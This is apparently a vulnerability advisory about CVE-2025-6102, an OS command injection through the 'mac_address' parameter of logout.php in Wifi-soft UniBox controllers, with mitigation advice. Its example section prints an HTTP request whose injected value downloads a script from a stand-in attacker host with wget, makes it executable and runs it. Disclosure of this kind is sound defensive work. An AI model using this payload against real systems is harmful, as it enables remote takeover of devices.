Overview
In the ever-evolving landscape of cybersecurity, vulnerabilities are a constant concern for organizations and individuals alike. A recent vulnerability classified as critical, identified as CVE-2025-6102, has been discovered in Wifi-soft UniBox Controllers up to version 20250506. This vulnerability has potentially far-reaching implications, as it affects an unknown functionality of the file /authentication/logout.php – a vital component of the system. The vulnerability is particularly noteworthy due to its severe impact, the ease with which it can be exploited, and the vendor’s current lack of response.

How the Exploit Works
The vulnerability occurs due to insufficient sanitization of the ‘mac_address’ argument in the /authentication/logout.php file. An attacker can manipulate this argument to inject arbitrary OS commands. This means that an attacker could execute malicious commands directly on the operating system, bypassing any security measures or controls in place. Since the vulnerability can be exploited remotely, it poses a significant risk to businesses and individuals using the affected software.
Conceptual Example Code
An attacker might exploit the vulnerability by sending a malicious HTTP request like the following:
GET /authentication/logout.php?mac_address=;wget%20http://attacker.com/malicious_script.sh%20-O%20/tmp/malicious.sh;%20chmod%20755%20/tmp/malicious.sh;%20/tmp/malicious.sh HTTP/1.1
Host: target.example.comIn this example, the attacker uses the ‘mac_address’ parameter to inject a series of commands that download a malicious script from a remote server, make it executable, and then run it on the target system. The semicolons serve to separate each command.
Mitigation Guidance
As the vendor has not yet responded to this disclosure, users are advised to apply a web application firewall (WAF) or intrusion detection system (IDS) as a temporary mitigation measure. These solutions can help detect and prevent exploitation attempts. However, they are not long-term solutions, and users should be prepared to apply a vendor patch as soon as it becomes available. In the meantime, users should also consider disabling or limiting access to the affected functionality, if possible.
